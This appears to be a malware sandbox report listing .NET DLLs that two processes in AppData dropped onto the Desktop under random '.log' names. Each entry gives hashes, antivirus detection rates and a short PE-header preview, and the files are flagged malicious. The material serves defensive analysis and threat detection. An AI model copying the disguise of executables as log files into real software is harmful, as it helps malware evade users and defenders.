                                                            C:\Users\user\Desktop\FccKWXjt.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):64000
                                                            Entropy (8bit):5.857602289000348
                                                            Encrypted:false
                                                            SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                            MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                            SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                            SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                            SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 17%
                                                            • Antivirus: Virustotal, Detection: 4%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\GHxAeCEl.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):40448
                                                            Entropy (8bit):5.7028690200758465
                                                            Encrypted:false
                                                            SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                            MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                            SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                            SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                            SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 12%
                                                            • Antivirus: Virustotal, Detection: 6%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\GYbsQreY.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):85504
                                                            Entropy (8bit):5.8769270258874755
                                                            Encrypted:false
                                                            SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                            MD5:E9CE850DB4350471A62CC24ACB83E859
                                                            SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                            SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                            SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 71%
                                                            • Antivirus: Virustotal, Detection: 69%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                            C:\Users\user\Desktop\GZESsXxn.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):294912
                                                            Entropy (8bit):6.010605469502259
                                                            Encrypted:false
                                                            SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                            MD5:00574FB20124EAFD40DC945EC86CA59C
                                                            SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                            SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                            SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 12%
                                                            • Antivirus: Virustotal, Detection: 9%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                            C:\Users\user\Desktop\GpiKfMYa.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):39936
                                                            Entropy (8bit):5.629584586954759
                                                            Encrypted:false
                                                            SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                            MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                            SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                            SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                            SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 8%
                                                            • Antivirus: Virustotal, Detection: 14%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\JKjizlIg.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):39936
                                                            Entropy (8bit):5.660491370279985
                                                            Encrypted:false
                                                            SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                            MD5:240E98D38E0B679F055470167D247022
                                                            SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                            SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                            SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 8%
                                                            • Antivirus: Virustotal, Detection: 12%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\JfZBmJZU.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):46592
                                                            Entropy (8bit):5.870612048031897
                                                            Encrypted:false
                                                            SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                            MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                            SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                            SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                            SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 5%
                                                            • Antivirus: Virustotal, Detection: 7%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\KynqlyEe.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):85504
                                                            Entropy (8bit):5.8769270258874755
                                                            Encrypted:false
                                                            SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                            MD5:E9CE850DB4350471A62CC24ACB83E859
                                                            SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                            SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                            SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 71%
                                                            • Antivirus: Virustotal, Detection: 69%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                            C:\Users\user\Desktop\NVPrtGZN.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):40448
                                                            Entropy (8bit):5.7028690200758465
                                                            Encrypted:false
                                                            SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                            MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                            SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                            SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                            SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 12%
                                                            • Antivirus: Virustotal, Detection: 6%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\OKwaGAoa.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):36352
                                                            Entropy (8bit):5.668291349855899
                                                            Encrypted:false
                                                            SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                            MD5:94DA5073CCC14DCF4766DF6781485937
                                                            SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                            SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                            SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 12%
                                                            • Antivirus: Virustotal, Detection: 8%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\QHXicADV.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):70144
                                                            Entropy (8bit):5.909536568846014
                                                            Encrypted:false
                                                            SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                            MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                            SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                            SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                            SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 12%
                                                            • Antivirus: Virustotal, Detection: 4%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\SsDyjNNO.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):41472
                                                            Entropy (8bit):5.6808219961645605
                                                            Encrypted:false
                                                            SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                            MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                            SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                            SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                            SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 8%
                                                            • Antivirus: Virustotal, Detection: 7%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\YBKPyitp.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):342528
                                                            Entropy (8bit):6.170134230759619
                                                            Encrypted:false
                                                            SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                            MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                            SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                            SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                            SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 12%
                                                            • Antivirus: Virustotal, Detection: 4%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\YlgXMtSC.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):33792
                                                            Entropy (8bit):5.541771649974822
                                                            Encrypted:false
                                                            SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                            MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                            SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                            SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                            SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 17%
                                                            • Antivirus: Virustotal, Detection: 24%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\csBGFfui.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):64000
                                                            Entropy (8bit):5.857602289000348
                                                            Encrypted:false
                                                            SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                            MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                            SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                            SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                            SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 17%
                                                            • Antivirus: Virustotal, Detection: 4%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\dghoTZIw.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):34816
                                                            Entropy (8bit):5.636032516496583
                                                            Encrypted:false
                                                            SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                            MD5:996BD447A16F0A20F238A611484AFE86
                                                            SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                            SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                            SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 17%
                                                            • Antivirus: Virustotal, Detection: 9%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\eMCeaDdo.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):34304
                                                            Entropy (8bit):5.618776214605176
                                                            Encrypted:false
                                                            SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                            MD5:9B25959D6CD6097C0EF36D2496876249
                                                            SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                            SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                            SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                            Malicious:true
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\eunobOye.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):294912
                                                            Entropy (8bit):6.010605469502259
                                                            Encrypted:false
                                                            SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                            MD5:00574FB20124EAFD40DC945EC86CA59C
                                                            SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                            SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                            SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                            Malicious:true
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                            C:\Users\user\Desktop\hXYfaWJp.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):69632
                                                            Entropy (8bit):5.932541123129161
                                                            Encrypted:false
                                                            SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                            MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                            SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                            SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                            SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
